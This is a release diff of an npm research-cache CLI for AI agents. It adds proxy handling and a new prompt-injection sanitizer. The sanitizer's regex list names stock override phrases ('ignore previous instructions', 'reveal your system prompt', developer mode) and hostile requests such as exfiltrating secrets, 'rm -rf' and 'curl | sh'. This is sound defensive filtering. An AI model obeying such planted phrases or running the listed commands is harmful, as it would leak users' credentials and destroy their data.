@taurgis/bonsai 3.0.0 → 3.0.1

package/dist/commands/fetch.d.ts

@@ -38,6 +38,7 @@ export default class FetchCommand extends BaseCommand<typeof FetchCommand> {
     run(): Promise<unknown>;
     private fetchSingleTarget;
 }
+export declare function describeError(err: unknown): string;
 export declare function fetchFailureGuidance(message: string, url: string): {
     suggestions: string[];
     ref?: string;

package/dist/commands/fetch.js

@@ -9,6 +9,7 @@ import { loadSummaryLevel } from '../lib/config/index.js';
 import { evaluateFreshness, checkMaxAgeExpired, durationFlagError, } from '../lib/research/freshness.js';
 import { revalidateCache, createArtifactFromFetch } from '../lib/research/revalidate.js';
 import { fetchStaticHtml, fetchText } from '../lib/research/fetcher.js';
+import { PROXY_TUNNEL_REJECTION_PATTERN } from '../lib/research/proxy.js';
 import { fetchRenderedHtml } from '../lib/research/browser.js';
 import { capturePage } from '../lib/research/capture.js';
 import { persistSectionArtifacts } from '../lib/research/docs/section-artifacts.js';
@@ -194,8 +195,14 @@ export default class FetchCommand extends BaseCommand {
     // failure — validation errors (bad flags/URL) exit before the try — so the contract's runtime code
     // (1) applies. Suggestions render on stderr for humans only; under --json the envelope carries just
     // the message (toErrorJson), so machine output is unchanged.
+    //
+    // Uses `describeError` (below) rather than `err.message` alone: Node/undici's fetch wraps
+    // transport failures (DNS, refused connections, a proxy that won't tunnel to the host) in a
+    // generic "fetch failed" TypeError with the real reason nested in `.cause`, so reading only the
+    // top message would surface a content-free "fetch failed" for exactly the failures a user most
+    // needs a hint for.
     emitFetchError(err, url) {
-        const message = err instanceof Error ? err.message : String(err);
+        const message = describeError(err);
         const guidance = fetchFailureGuidance(message, url);
         this.error(message, {
             exit: 1,
@@ -320,6 +327,25 @@ export default class FetchCommand extends BaseCommand {
         return resultData;
     }
 }
+// How many `.cause` levels to walk. Real undici/Node transport errors nest at most 1-2 deep;
+// the cap exists so a self-referential or cyclic `.cause` chain (Error.cause is an arbitrary,
+// unvalidated property — nothing prevents `e.cause = e`, whether from a bug in this codebase or
+// a dependency) can't hang the process, rather than being a limit expected to matter in practice.
+const MAX_CAUSE_DEPTH = 10;
+// Walks an Error's `.cause` chain and joins every message, deepest last. Node/undici's fetch
+// throws a generic `TypeError: fetch failed` for transport-level failures, with the actionable
+// detail (e.g. a proxy's tunnel rejection) nested one or two `.cause` levels down.
+export function describeError(err) {
+    if (!(err instanceof Error))
+        return String(err);
+    const parts = [err.message];
+    let cause = err.cause;
+    for (let depth = 0; depth < MAX_CAUSE_DEPTH && cause instanceof Error; depth++) {
+        parts.push(cause.message);
+        cause = cause.cause;
+    }
+    return parts.join(': ');
+}
 // Maps a runtime fetch failure to recovery steps keyed off its message. Returns undefined for
 // unrecognized failures, which then surface with their original message and no extra hint. The
 // patterns match the thrown text in fetcher.ts/browser.ts; keep them in sync if those messages
@@ -361,6 +387,32 @@ export function fetchFailureGuidance(message, url) {
             suggestions: ['Check the hostname is spelled correctly and resolves on a public network.'],
         };
     }
+    // A configured proxy (HTTPS_PROXY/HTTP_PROXY) refused to tunnel to this host — distinct from
+    // the destination's own 401/403 above, which is the site itself rejecting the request. Shared
+    // with fetcher.ts's retry-fallback check so the two stay in sync by construction.
+    if (PROXY_TUNNEL_REJECTION_PATTERN.test(message)) {
+        return {
+            suggestions: [
+                "The configured proxy (HTTPS_PROXY/HTTP_PROXY) won't reach this host. Check its allowlist, or add the host to NO_PROXY to bypass the proxy for it.",
+                importHint,
+            ],
+            ref,
+        };
+    }
+    // The connection failed before any HTTP response was received — network-down, DNS, TLS, or a
+    // proxy issue not specifically matched above. Node/undici's fetch reports all of these as a
+    // generic "fetch failed" TypeError with no further suffix; the negative lookahead keeps this
+    // from also matching assertOk's "Fetch failed with status NNN ..." (a real HTTP response was
+    // received in that case, so it isn't a transport failure at all).
+    if (/^fetch failed\b(?!\s+with status)/i.test(message)) {
+        return {
+            suggestions: [
+                'The connection failed before a response was received. Check network connectivity and any HTTPS_PROXY/HTTP_PROXY/NO_PROXY settings.',
+                importHint,
+            ],
+            ref,
+        };
+    }
     // A hostname that only resolves to a private/local IP at request time (literal private addresses
     // are rejected earlier with exit 2). Blocked to prevent SSRF; only public hosts can be fetched.
     if (/blocked local or private target/.test(message)) {

package/dist/commands/import.js

@@ -11,6 +11,7 @@ import { writeArtifactSecurely } from '../lib/research/secure-write.js';
 import { loadSummaryLevel } from '../lib/config/index.js';
 import { durationFlagError, getPolicy } from '../lib/research/freshness.js';
 import { buildCompressed } from '../lib/research/compress.js';
+import { sanitizePromptInjection } from '../lib/research/prompt-injection.js';
 import { applyAutoTags } from '../lib/research/keywords.js';
 import { estimateTokens } from '../lib/research/token-estimate.js';
 export default class ResearchImport extends BaseCommand {
@@ -268,11 +269,11 @@ export default class ResearchImport extends BaseCommand {
         const { freshWindowMs } = getPolicy(tier, ttl);
         const staleAfterTime = new Date(currentTime.getTime() + freshWindowMs);
         const inputFormat = this.flags['input-format'];
-        const detailed = rawInput;
+        const detailed = sanitizePromptInjection(rawInput);
         // A caller-supplied compressed input is trusted as-is; only a detailed import is condensed here,
         // and it shares the same buildCompressed policy (structural pass + extractive fallback) as fetch.
         const compressed = inputFormat === 'detailed'
-            ? buildCompressed(rawInput, loadSummaryLevel(this.config.configDir, process.cwd()))
+            ? buildCompressed(detailed, loadSummaryLevel(this.config.configDir, process.cwd()))
             : rawInput;
         const contentHash = createHash('sha256').update(detailed).digest('hex');
         const metadata = {

package/dist/lib/research/browser.d.ts

@@ -24,6 +24,7 @@ export declare class CdpClient {
     close(): void;
 }
 export declare function findChromePath(): string;
+export declare function buildChromeArgs(): string[];
 export declare function waitForLoad(client: CdpClient, sessionId: string, timeoutMs: number, settleMs?: number): Promise<void>;
 export declare const BLOCKED_ASSET_URLS: string[];
 export interface CdpPage {

package/dist/lib/research/browser.js

@@ -2,6 +2,7 @@ import { spawn } from 'node:child_process';
 import { existsSync } from 'node:fs';
 import { execSync } from 'node:child_process';
 import { checkDnsSafety } from './fetcher.js';
+import { getChromeProxyArgs } from './proxy.js';
 import { normalizeUrl } from './url.js';
 export class CdpClient {
     ws;
@@ -93,8 +94,10 @@ export function findChromePath() {
     throw new Error('No Chrome or Chromium browser found for browser-based extraction. Install Chrome/Chromium or ' +
         'set CHROME_PATH to the browser executable. Static (non-rendered) fetching does not require a browser.');
 }
-async function spawnChrome(chromePath) {
-    const chromeProcess = spawn(chromePath, [
+// Split out from spawnChrome so the exact CLI args (including the proxy flags) are unit-testable
+// without spawning a real browser process.
+export function buildChromeArgs() {
+    return [
         '--headless=new',
         '--remote-debugging-port=0',
         '--disable-gpu',
@@ -102,7 +105,13 @@ async function spawnChrome(chromePath) {
         '--disable-setuid-sandbox',
         '--disable-extensions',
         '--disable-dev-shm-usage',
-    ]);
+        // CDP navigation uses Chrome's own network stack, not Node's fetch/undici, so a sandbox
+        // proxy detected via *_PROXY env vars must be passed to Chrome separately (see proxy.ts).
+        ...getChromeProxyArgs(),
+    ];
+}
+async function spawnChrome(chromePath) {
+    const chromeProcess = spawn(chromePath, buildChromeArgs());
     try {
         const wsUrl = await new Promise((resolve, reject) => {
             let output = '';

package/dist/lib/research/docs/markdown-source.js

@@ -1,4 +1,5 @@
 import { dropEmptyLinks, htmlToMarkdown } from '../markdown.js';
+import { sanitizePromptInjection } from '../prompt-injection.js';
 // Parses a leading YAML frontmatter block (--- ... ---). Only flat scalar keys are read; nested
 // structures are ignored (we only need title/description). The block is stripped from the body.
 export function parseFrontmatter(md) {
@@ -183,7 +184,7 @@ export function extractFromSource(md, sourceUrl) {
         ? cleanKumaScript(stripMdnHiddenSamples(body))
         : body;
     const tablesAsMarkdown = convertHtmlTables(sanitizeSourceMarkdown(deMacroed));
-    const cleaned = dropEmptySections(dropEmptyLinks(tablesAsMarkdown)).trim();
+    const cleaned = sanitizePromptInjection(dropEmptySections(dropEmptyLinks(tablesAsMarkdown))).trim();
     const notes = [`captured from public Markdown/MDX source: ${sourceUrl}`];
     return {
         title: titleFrom(frontmatter, cleaned),

package/dist/lib/research/extract.js

@@ -4,6 +4,7 @@ import { htmlToMarkdown } from './markdown.js';
 import { normalizeCodeBlocks } from './docs/code-blocks.js';
 import { cleanDocsChrome } from './docs/clean-dom.js';
 import { analyzeMarkdownQuality } from './docs/quality-gates.js';
+import { sanitizePromptInjection } from './prompt-injection.js';
 function resolveRelativeLinks(document, finalUrl) {
     const base = new URL(finalUrl);
     const links = document.querySelectorAll('a');
@@ -69,7 +70,7 @@ export function extractHtmlContent(html, finalUrl) {
         throw new Error('Content extraction failed: The target page could not be parsed by the readability engine. ' +
             'Hint: The "import" command lets you import pre-cleaned, agent-supplied research notes directly.');
     }
-    const detailedMarkdown = htmlToMarkdown(article.content);
+    const detailedMarkdown = sanitizePromptInjection(htmlToMarkdown(article.content));
     const textLength = article.textContent ? article.textContent.trim().length : 0;
     const { confidence, notes } = determineConfidence(textLength);
     const quality = analyzeMarkdownQuality(detailedMarkdown, article.title || '');

package/dist/lib/research/fetcher.js

@@ -1,6 +1,61 @@
 import { lookup } from 'node:dns/promises';
 import { isIP } from 'node:net';
+import { fetch as undiciFetch } from 'undici';
 import { isSafeIp, normalizeUrl } from './url.js';
+import { getProxyDispatcher, isProxyConfigured, PROXY_TUNNEL_REJECTION_PATTERN } from './proxy.js';
+// Runs one fetch attempt with its own fresh AbortController/timeout, so that when `doFetch` makes
+// a second attempt (the proxy fallback below) it gets the full timeout budget rather than
+// whatever was left over from the first attempt's signal. Loosely typed at this one boundary
+// because it bridges two structurally-similar-but-nominally-distinct fetch implementations
+// (Node's global fetch and the separate `undici` package's own fetch/RequestInit/Response).
+async function fetchWithTimeout(fetchFn, url, init, timeoutMs) {
+    const controller = new AbortController();
+    const id = setTimeout(() => controller.abort(), timeoutMs);
+    try {
+        return (await fetchFn(url, { ...init, signal: controller.signal }));
+    }
+    finally {
+        clearTimeout(id);
+    }
+}
+// True when `err` is a transport failure specifically caused by the proxy declining to tunnel to
+// the target host (e.g. an allowlist-only sandbox proxy), as opposed to any other pre-response
+// failure (DNS, refused connection, a genuinely unreachable destination). Only this class of
+// failure is worth retrying without the proxy — retrying on any transport TypeError would also
+// re-attempt destinations that are down regardless of the proxy, doubling their latency for no
+// benefit.
+function isProxyTunnelRejection(err) {
+    let current = err;
+    while (current instanceof Error) {
+        if (PROXY_TUNNEL_REJECTION_PATTERN.test(current.message))
+            return true;
+        current = current.cause;
+    }
+    return false;
+}
+// Node's global fetch cannot be handed a Dispatcher from the separate `undici` package (their
+// internal request-handler interfaces don't line up across versions), so routing through a
+// sandbox-detected proxy requires switching to undici's own fetch for that one request. The
+// unproxied path keeps using the global fetch, matching existing tests that stub `globalThis.fetch`.
+//
+// A configured proxy isn't a guarantee the proxy can actually reach a given host (many sandbox
+// proxies only allowlist specific destinations), so a proxy-tunnel rejection falls back to a
+// direct connection rather than treating "proxy is configured" as "proxy or nothing." The
+// fallback gets its own fresh timeout (via fetchWithTimeout) rather than inheriting the proxied
+// attempt's spent budget.
+async function doFetch(url, init, timeoutMs) {
+    const dispatcher = getProxyDispatcher();
+    if (!dispatcher)
+        return fetchWithTimeout(fetch, url, init, timeoutMs);
+    try {
+        return await fetchWithTimeout(undiciFetch, url, { ...init, dispatcher }, timeoutMs);
+    }
+    catch (err) {
+        if (!isProxyTunnelRejection(err))
+            throw err;
+        return fetchWithTimeout(fetch, url, init, timeoutMs);
+    }
+}
 export function looksLikeHtml(text) {
     const trimmed = text.trimStart().toLowerCase();
     return (trimmed.startsWith('<!doctype html') ||
@@ -19,17 +74,26 @@ export async function checkDnsSafety(hostname) {
         }
         return;
     }
+    let addresses;
     try {
-        const addresses = await lookup(hostToResolve, { all: true });
-        for (const addr of addresses) {
-            if (!isSafeIp(addr.address)) {
-                throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
-            }
-        }
+        addresses = await lookup(hostToResolve, { all: true });
     }
     catch (err) {
+        // A sandbox that requires a proxy for HTTP egress may also block raw DNS queries (port 53)
+        // without blocking name resolution done through the proxy itself — so a failed *local*
+        // lookup isn't necessarily a dead end when a proxy is available to fall back on. Only skip
+        // the safety guarantee in that specific case; whenever local resolution succeeds (the common
+        // case, proxy or not), the resolved address is still validated below regardless of proxy
+        // configuration, so a hostname that resolves to a private/internal IP is still caught.
+        if (isProxyConfigured())
+            return;
         throw new Error(`DNS resolution failed for hostname "${hostname}": ${err.message}`);
     }
+    for (const addr of addresses) {
+        if (!isSafeIp(addr.address)) {
+            throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
+        }
+    }
 }
 async function readBodyWithLimit(body, limit) {
     if (!body) {
@@ -123,32 +187,20 @@ async function fetchWithRedirects(url, options, process) {
     while (true) {
         const parsedUrl = new URL(currentUrl);
         await checkDnsSafety(parsedUrl.hostname);
-        const controller = new AbortController();
-        const id = setTimeout(() => controller.abort(), timeout);
-        try {
-            const res = await fetch(currentUrl, {
-                method: 'GET',
-                headers: initialHeaders,
-                redirect: 'manual',
-                signal: controller.signal,
-            });
-            if ([301, 302, 303, 307, 308].includes(res.status)) {
-                redirectCount++;
-                if (redirectCount > maxRedirects) {
-                    throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
-                }
-                const location = res.headers.get('location');
-                if (!location) {
-                    throw new Error(`Redirect response status ${res.status} missing Location header.`);
-                }
-                currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
-                continue;
+        const res = await doFetch(currentUrl, { method: 'GET', headers: initialHeaders, redirect: 'manual' }, timeout);
+        if ([301, 302, 303, 307, 308].includes(res.status)) {
+            redirectCount++;
+            if (redirectCount > maxRedirects) {
+                throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
             }
-            return await process(res, limit, currentUrl);
-        }
-        finally {
-            clearTimeout(id);
+            const location = res.headers.get('location');
+            if (!location) {
+                throw new Error(`Redirect response status ${res.status} missing Location header.`);
+            }
+            currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
+            continue;
         }
+        return await process(res, limit, currentUrl);
     }
 }
 export async function fetchStaticHtml(url, options = {}) {
@@ -171,22 +223,14 @@ export async function postJson(url, body, headers = {}, options = {}) {
     const limit = options.bodyLimitBytes ?? 2 * 1024 * 1024;
     const target = normalizeUrl(url);
     await checkDnsSafety(new URL(target).hostname);
-    const controller = new AbortController();
-    const id = setTimeout(() => controller.abort(), timeout);
-    try {
-        const res = await fetch(target, {
-            method: 'POST',
-            headers: { 'content-type': 'application/json', ...headers },
-            body: JSON.stringify(body),
-            redirect: 'error',
-            signal: controller.signal,
-        });
-        if (!res.ok)
-            throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
-        const bytes = await readBodyWithLimit(res.body, limit);
-        return new TextDecoder().decode(bytes);
-    }
-    finally {
-        clearTimeout(id);
-    }
+    const res = await doFetch(target, {
+        method: 'POST',
+        headers: { 'content-type': 'application/json', ...headers },
+        body: JSON.stringify(body),
+        redirect: 'error',
+    }, timeout);
+    if (!res.ok)
+        throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
+    const bytes = await readBodyWithLimit(res.body, limit);
+    return new TextDecoder().decode(bytes);
 }

package/dist/lib/research/prompt-injection.d.ts

@@ -0,0 +1 @@
+export declare function sanitizePromptInjection(markdown: string): string;

package/dist/lib/research/prompt-injection.js

@@ -0,0 +1,149 @@
+import { Buffer } from 'node:buffer';
+const REDACTION = '[Removed potentially unsafe agent instruction]';
+const ZERO_WIDTH = /[\u200b-\u200f\ufeff]/g;
+const HTML_COMMENT = /<!--[\s\S]*?-->/g;
+const BASE64_TOKEN = /(?<![A-Za-z0-9+/_-])(?:[A-Za-z0-9+/_-]{16,}={0,2})(?![A-Za-z0-9+/_-])/g;
+const HEX_TOKEN = /(?<![a-f0-9])(?:0x)?[a-f0-9]{24,}(?![a-f0-9])/gi;
+const QUOTED_SPAN = /(`[^`\n]+`|"[^"\n]+"|'[^'\n]+')/g;
+const TYPOGLYCEMIA_TARGETS = [
+    'ignore',
+    'disregard',
+    'forget',
+    'override',
+    'previous',
+    'instructions',
+    'instruction',
+    'directions',
+    'prompts',
+    'system',
+    'developer',
+    'agent',
+    'prompt',
+    'message',
+    'reveal',
+    'print',
+    'send',
+    'secrets',
+    'tokens',
+    'credentials',
+    'delete',
+    'repository',
+    'workspace',
+];
+const HARMFUL_INSTRUCTION_PATTERNS = [
+    /(^|\b(?:please|assistant|system|user|agent)\s+)ignore\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)disregard\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)forget\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)override\s+(the\s+)?(system|developer|agent)\s+(prompt|instructions?|message)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)you\s+are\s+now\s+(in\s+)?(developer|admin|root|system)\s+mode\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)reveal\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)print\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)(exfiltrate|steal|leak)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?|private\s+data)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)send\s+(me\s+|all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)(upload|post|fetch|curl)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)delete\s+(all\s+)?(files?|the\s+repository|the\s+workspace|the\s+home\s+directory)\b/i,
+    /(^|\b(?:please|assistant|system|user|agent)\s+)run\s+.*\b(rm\s+-rf|curl\s+.*\|\s*(sh|bash)|sudo)\b/i,
+];
+function normalizeForDetection(text) {
+    return text
+        .normalize('NFKC')
+        .replace(ZERO_WIDTH, '')
+        .replace(/[^\p{L}\p{N}\s|/.-]+/gu, ' ')
+        .replace(/\s+/g, ' ')
+        .trim()
+        .split(' ')
+        .map(normalizeTypoglycemia)
+        .join(' ');
+}
+function normalizeTypoglycemia(word) {
+    const lower = word.toLowerCase();
+    return TYPOGLYCEMIA_TARGETS.find((target) => isTypoglycemiaMatch(lower, target)) ?? word;
+}
+function isTypoglycemiaMatch(word, target) {
+    if (word.length !== target.length || word.length < 4)
+        return false;
+    if (word[0] !== target[0] || word.at(-1) !== target.at(-1))
+        return false;
+    return sortLetters(word.slice(1, -1)) === sortLetters(target.slice(1, -1));
+}
+function sortLetters(value) {
+    return [...value].sort().join('');
+}
+function detectionCandidates(text) {
+    return [text, ...decodeBase64Tokens(text), ...decodeHexTokens(text)].map(normalizeForDetection);
+}
+function decodeBase64Tokens(text) {
+    return [...text.matchAll(BASE64_TOKEN)]
+        .map((match) => decodeBase64(match[0]))
+        .filter((decoded) => Boolean(decoded));
+}
+function decodeBase64(token) {
+    try {
+        const normalized = token.replace(/-/g, '+').replace(/_/g, '/');
+        const decoded = Buffer.from(normalized, 'base64').toString('utf8');
+        return isReadableDecodedText(decoded) ? decoded : null;
+    }
+    catch {
+        return null;
+    }
+}
+function decodeHexTokens(text) {
+    return [...text.matchAll(HEX_TOKEN)]
+        .map((match) => decodeHex(match[0]))
+        .filter((decoded) => Boolean(decoded));
+}
+function decodeHex(token) {
+    const hex = token.startsWith('0x') ? token.slice(2) : token;
+    if (hex.length % 2 !== 0)
+        return null;
+    try {
+        const decoded = Buffer.from(hex, 'hex').toString('utf8');
+        return isReadableDecodedText(decoded) ? decoded : null;
+    }
+    catch {
+        return null;
+    }
+}
+function isReadableDecodedText(text) {
+    if (!/[a-z]{3}/i.test(text))
+        return false;
+    const printable = [...text].filter((char) => /[\t\n\r -~]/.test(char)).length;
+    return printable / Math.max(text.length, 1) > 0.85;
+}
+function isUnsafeAgentInstruction(text) {
+    return detectionCandidates(text).some((candidate) => HARMFUL_INSTRUCTION_PATTERNS.some((pattern) => pattern.test(candidate)));
+}
+function redactBlock(block) {
+    const withSafeSpans = redactUnsafeSpans(block);
+    return isUnsafeAgentInstruction(withSafeSpans) ? REDACTION : withSafeSpans;
+}
+function redactUnsafeSpans(block) {
+    return block
+        .replace(BASE64_TOKEN, (token) => redactTokenIfUnsafe(token, decodeBase64(token)))
+        .replace(HEX_TOKEN, (token) => redactTokenIfUnsafe(token, decodeHex(token)))
+        .replace(QUOTED_SPAN, (span) => isUnsafeAgentInstruction(stripQuotes(span)) ? REDACTION : span);
+}
+function redactTokenIfUnsafe(token, decoded) {
+    return decoded && isUnsafeAgentInstruction(decoded) ? REDACTION : token;
+}
+function stripQuotes(span) {
+    if (span.startsWith('`') || span.startsWith('"') || span.startsWith("'")) {
+        return span.slice(1, -1);
+    }
+    return span;
+}
+export function sanitizePromptInjection(markdown) {
+    return markdown
+        .replace(HTML_COMMENT, (comment) => redactBlock(comment))
+        .split(/(\n{2,})/)
+        .map((block) => {
+        if (/^\n+$/.test(block))
+            return block;
+        const lineRedacted = block
+            .split('\n')
+            .map((line) => redactBlock(line))
+            .join('\n');
+        return lineRedacted === block ? redactBlock(block) : lineRedacted;
+    })
+        .join('');
+}

package/dist/lib/research/proxy.d.ts

@@ -0,0 +1,35 @@
+import { type Dispatcher } from 'undici';
+export declare const HTTPS_PROXY_ENV_VARS: string[];
+export declare const HTTP_PROXY_ENV_VARS: string[];
+export declare const NO_PROXY_ENV_VARS: string[];
+export declare const ALL_PROXY_ENV_VARS: string[];
+export declare const PROXY_TUNNEL_REJECTION_PATTERN: RegExp;
+/**
+ * Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
+ * connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
+ * advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
+ * sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
+ */
+export declare function isProxyConfigured(): boolean;
+/**
+ * An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
+ * is configured so callers fall back to normal direct networking. The dispatcher is expensive
+ * enough to be worth reusing across requests, but undici's own agent captures its proxy targets
+ * once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
+ * relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
+ * to whatever was configured on the first call. The discarded dispatcher is closed (not just
+ * dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
+ */
+export declare function getProxyDispatcher(): Dispatcher | undefined;
+/**
+ * Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
+ * empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
+ * never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
+ *
+ * Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
+ * blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
+ * HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
+ * route all its traffic (including plain-http sub-resources) through whichever var happened to
+ * be set, silently disagreeing with how fetch() routes the same traffic.
+ */
+export declare function getChromeProxyArgs(): string[];

package/dist/lib/research/proxy.js

@@ -0,0 +1,107 @@
+import { EnvHttpProxyAgent } from 'undici';
+// Order matters: undici's own EnvHttpProxyAgent (github.com/nodejs/undici lib/dispatcher/
+// env-http-proxy-agent.js) prefers the lowercase variant of each var over its uppercase twin
+// when both are set. These lists are read in the same order everywhere in this module so that
+// Chrome's CLI flags and undici's dispatcher can never disagree about which value "the" proxy is.
+export const HTTPS_PROXY_ENV_VARS = ['https_proxy', 'HTTPS_PROXY'];
+export const HTTP_PROXY_ENV_VARS = ['http_proxy', 'HTTP_PROXY'];
+export const NO_PROXY_ENV_VARS = ['no_proxy', 'NO_PROXY'];
+export const ALL_PROXY_ENV_VARS = [
+    ...HTTPS_PROXY_ENV_VARS,
+    ...HTTP_PROXY_ENV_VARS,
+    ...NO_PROXY_ENV_VARS,
+];
+// The message undici's ProxyAgent throws (nested in a fetch TypeError's `.cause`) when the proxy
+// itself declines to tunnel to the target host — as opposed to any other pre-response transport
+// failure (DNS, refused connection, a genuinely unreachable destination). Shared by fetcher.ts
+// (to decide whether a proxied failure is worth retrying direct) and fetch.ts's failure-guidance
+// patterns (to give proxy-specific advice), so the two stay in sync by construction.
+export const PROXY_TUNNEL_REJECTION_PATTERN = /proxy response.*tunneling/i;
+function firstEnv(names) {
+    for (const name of names) {
+        const value = process.env[name];
+        if (value)
+            return value;
+    }
+    return undefined;
+}
+/**
+ * Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
+ * connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
+ * advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
+ * sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
+ */
+export function isProxyConfigured() {
+    return Boolean(firstEnv(HTTPS_PROXY_ENV_VARS) || firstEnv(HTTP_PROXY_ENV_VARS));
+}
+let cachedDispatcher;
+let cachedProxyEnvSnapshot;
+// JSON-encoded rather than joined with a plain delimiter: a delimiter that can also appear inside
+// a value (e.g. a space, and NO_PROXY conventionally uses "host1, host2") lets two different sets
+// of values collide on the same joined string. JSON.stringify's per-element quoting/escaping is a
+// well-tested way to avoid that ambiguity without hand-rolling an escape scheme.
+function proxyEnvSnapshot() {
+    return JSON.stringify(ALL_PROXY_ENV_VARS.map((name) => process.env[name] ?? ''));
+}
+/**
+ * An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
+ * is configured so callers fall back to normal direct networking. The dispatcher is expensive
+ * enough to be worth reusing across requests, but undici's own agent captures its proxy targets
+ * once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
+ * relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
+ * to whatever was configured on the first call. The discarded dispatcher is closed (not just
+ * dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
+ */
+export function getProxyDispatcher() {
+    if (!isProxyConfigured())
+        return undefined;
+    const snapshot = proxyEnvSnapshot();
+    if (!cachedDispatcher || cachedProxyEnvSnapshot !== snapshot) {
+        const stale = cachedDispatcher;
+        cachedDispatcher = new EnvHttpProxyAgent();
+        cachedProxyEnvSnapshot = snapshot;
+        void stale?.close().catch(() => { });
+    }
+    return cachedDispatcher;
+}
+// undici's EnvHttpProxyAgent treats a bare NO_PROXY entry (e.g. "example.com") as matching both
+// the exact host AND any subdomain — it strips a leading "*." or "." before comparing, then
+// checks the hostname for an exact or suffix match. Chromium's --proxy-bypass-list grammar draws
+// a hard line instead: a bare "example.com" matches only that exact host, and subdomain matching
+// requires an explicit "*." prefix. Emitting both forms for every entry reproduces undici's
+// exact-or-subdomain behavior in Chrome too, so the two proxied paths agree on what bypasses.
+function toChromeBypassList(noProxy) {
+    const hosts = noProxy
+        .split(/[,\s]+/)
+        .map((entry) => entry.trim())
+        .filter(Boolean)
+        .map((entry) => entry.replace(/^\*?\./, ''));
+    return Array.from(new Set(hosts.flatMap((host) => [host, `*.${host}`]))).join(',');
+}
+/**
+ * Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
+ * empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
+ * never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
+ *
+ * Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
+ * blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
+ * HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
+ * route all its traffic (including plain-http sub-resources) through whichever var happened to
+ * be set, silently disagreeing with how fetch() routes the same traffic.
+ */
+export function getChromeProxyArgs() {
+    const httpsProxy = firstEnv(HTTPS_PROXY_ENV_VARS);
+    const httpProxy = firstEnv(HTTP_PROXY_ENV_VARS);
+    if (!httpsProxy && !httpProxy)
+        return [];
+    const schemeMappings = [];
+    if (httpProxy)
+        schemeMappings.push(`http=${httpProxy}`);
+    if (httpsProxy)
+        schemeMappings.push(`https=${httpsProxy}`);
+    const args = [`--proxy-server=${schemeMappings.join(';')}`];
+    const noProxy = firstEnv(NO_PROXY_ENV_VARS);
+    if (noProxy)
+        args.push(`--proxy-bypass-list=${toChromeBypassList(noProxy)}`);
+    return args;
+}

package/oclif.manifest.json

@@ -843,5 +843,5 @@
       "stdoutIsPrimaryData": true
     }
   },
-  "version": "3.0.0"
+  "version": "3.0.1"
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@taurgis/bonsai",
-  "version": "3.0.0",
+  "version": "3.0.1",
   "description": "Bonsai is a standalone local research cache CLI for AI agents",
   "repository": {
     "type": "git",
@@ -30,6 +30,7 @@
     "@oclif/plugin-autocomplete": "^3.2.52",
     "linkedom": "^0.18.12",
     "turndown": "^7.2.0",
+    "undici": "^8.7.0",
     "update-notifier": "^7.3.1"
   },
   "devDependencies": {
@@ -51,7 +52,7 @@
     "vue": "^3.5.39"
   },
   "engines": {
-    "node": ">=22"
+    "node": ">=22.19.0"
   },
   "publishConfig": {
     "access": "public",
@@ -88,6 +89,7 @@
     "lint": "pnpm lint:line-counts && pnpm lint:health",
     "lint:line-counts": "node scripts/check-line-counts.ts --all",
     "lint:health": "pnpm test:coverage && pnpm exec fallow health --format human",
